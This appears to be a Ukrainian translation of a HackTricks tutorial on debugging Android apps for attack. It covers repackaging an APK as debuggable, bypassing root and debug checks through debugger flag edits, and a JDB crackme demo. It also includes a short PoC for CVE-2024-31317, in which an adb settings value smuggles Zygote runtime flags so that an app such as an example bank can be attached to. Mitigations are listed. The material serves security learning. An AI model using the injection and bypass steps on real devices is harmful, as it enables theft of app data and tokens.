Використання додатку з можливістю налагодження
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Обхід перевірок root та налагодження
Цей розділ посту є підсумком з посту https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Кроки для перетворення Android-додатку на налагоджуваний та обходу перевірок
Перетворення додатку на налагоджуваний
Контент на основі https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- Декомпілювати APK:
- Використовуйте інструмент APK-GUI для декомпіляції APK.
- У файлі android-manifest вставте
android:debuggable="true"
для активації режиму налагодження. - Знову скомпілюйте, підпишіть та zipalign модифікований додаток.
- Встановіть модифікований додаток:
- Використовуйте команду:
adb install <application_name>
.
- Отримайте назву пакету:
- Виконайте
adb shell pm list packages –3
, щоб перерахувати сторонні додатки та знайти назву пакету.
- Налаштуйте додаток на очікування підключення налагоджувача:
- Команда:
adb shell am setup-debug-app –w <package_name>
. - Примітка: Цю команду потрібно виконувати щоразу перед запуском додатку, щоб він чекав на налагоджувач.
- Для збереження використовуйте
adb shell am setup-debug-app –w ––persistent <package_name>
. - Щоб видалити всі прапорці, використовуйте
adb shell am clear-debug-app <package_name>
.
- Підготуйтеся до налагодження в Android Studio:
- Перейдіть в Android Studio до File -> Open Profile or APK.
- Відкрийте скомпільований APK.
- Встановіть точки зупинки в ключових Java-файлах:
- Розмістіть точки зупинки в
MainActivity.java
(зокрема в методіonCreate
),b.java
таContextWrapper.java
.
Обхід перевірок
Додаток у певні моменти перевіряє, чи є він налагоджуваним, а також перевіряє наявність бінарних файлів, що вказують на рутований пристрій. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів для обходу цих перевірок.
Для перевірки налагодження:
- Змінити налаштування прапорців:
- У секції змінних консолі налагоджувача перейдіть до:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
. - Примітка: Бінарне представлення
flags = 814267974
є11000011100111011110
, що вказує на те, що "Flag_debuggable" активний.
Ці кроки в сукупності забезпечують можливість налагодження додатку та обходу певних перевірок безпеки за допомогою налагоджувача, що полегшує більш детальний аналіз або модифікацію поведінки додатку.
Крок 2 передбачає зміну значення прапорця на 814267972, яке в бінарному вигляді представлено як 110000101101000000100010100.
Використання вразливості
Демонстрація була надана за допомогою вразливого додатку, що містить кнопку та текстове поле. Спочатку додаток відображає "Crack Me". Мета полягає в тому, щоб змінити повідомлення з "Try Again" на "Hacked" під час виконання, не змінюючи вихідний код.
Перевірка на вразливість
- Додаток був декомпільований за допомогою
apktool
для доступу до файлуAndroidManifest.xml
. - Наявність
android_debuggable="true"
у AndroidManifest.xml вказує на те, що додаток є налагоджуваним і підлягає експлуатації. - Варто зазначити, що
apktool
використовується лише для перевірки статусу налагодження без зміни будь-якого коду.
Підготовка налаштування
- Процес передбачав ініціювання емулятора, встановлення вразливого додатку та використання
adb jdwp
для ідентифікації портів Dalvik VM, які слухають. - JDWP (Java Debug Wire Protocol) дозволяє налагоджувати додаток, що працює в VM, відкриваючи унікальний порт.
- Портове перенаправлення було необхідним для віддаленого налагодження, після чого JDB було прикріплено до цільового додатку.
Впровадження коду під час виконання
- Експлуатація була здійснена шляхом встановлення точок зупинки та контролю потоку виконання додатку.
- Команди, такі як
classes
таmethods <class_name>
, використовувалися для виявлення структури додатку. - Точка зупинки була встановлена в методі
onClick
, і її виконання контролювалося. - Команди
locals
,next
таset
використовувалися для перевірки та зміни локальних змінних, зокрема зміни повідомлення "Try Again" на "Hacked". - Модифікований код був виконаний за допомогою команди
run
, успішно змінюючи вихід додатку в реальному часі.
Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлуатацій, таких як отримання доступу до оболонки на пристрої в контексті додатку.
2024 – Перетворення будь-якого додатку на процес налагодження (CVE-2024-31317)
Навіть якщо цільовий APK не постачається з прапорцем android:debuggable
, нещодавні дослідження показали, що можливо примусити произвольні додатки запускатися з прапорцем DEBUG_ENABLE_JDWP
під час виконання, зловживаючи способом, яким Zygote аналізує аргументи командного рядка.
- Вразливість: Неправильна валідація
--runtime-flags
, наданих через командний сокет Zygote, дозволяє зловмиснику, який може досягтиsystem_server
(наприклад, через привілейовану оболонкуadb
, яка має дозвілWRITE_SECURE_SETTINGS
), впроваджувати додаткові параметри. Коли підроблена команда повторно відтворюєтьсяsystem_server
, жертва додаток створюється як налагоджуваний і з потоком JDWP, що слухає. Проблема відстежується як CVE-2024-31317 і була виправлена в червневому бюлетені безпеки Android 2024 року. - Вплив: Повний доступ на читання/запис до приватного каталогу даних будь-якого додатку (включаючи привілейовані, такі як
com.android.settings
), крадіжка токенів, обхід MDM, і в багатьох випадках прямий шлях до ескалації привілеїв шляхом зловживання експортованими IPC-точками тепер налагоджуваного процесу. - Постраждалі версії: Android 9 до 14 до червневого рівня патчів 2024 року.
Швидкий PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Сформоване значення на кроці 1 виводить парсер з "швидкого шляху" і додає другу синтетичну команду, де
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) приймається так, ніби вона була надана фреймворком. Як тільки додаток запущено, відкривається сокет JDWP, і звичайні трюки динамічного налагодження (заміна методів, патчинг змінних, живе впровадження Frida тощо) можливі без модифікації APK або образу завантаження пристрою.
Виявлення та пом'якшення
- Патч до 2024-06-01 (або пізніше) рівня безпеки – Google посилив
ZygoteCommandBuffer
, щоб наступні команди не могли бути контрабандно введені таким чином. - Обмежити доступ
WRITE_SECURE_SETTINGS
/shell
на виробничих пристроях. Для експлуатації потрібен цей дозвіл, який зазвичай має лише ADB або програми з привілеями OEM. - У флотах, керованих EMM/MDM, примусово встановити
ro.debuggable=0
і заборонити shell черезadb disable-verifier
.
Посилання
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.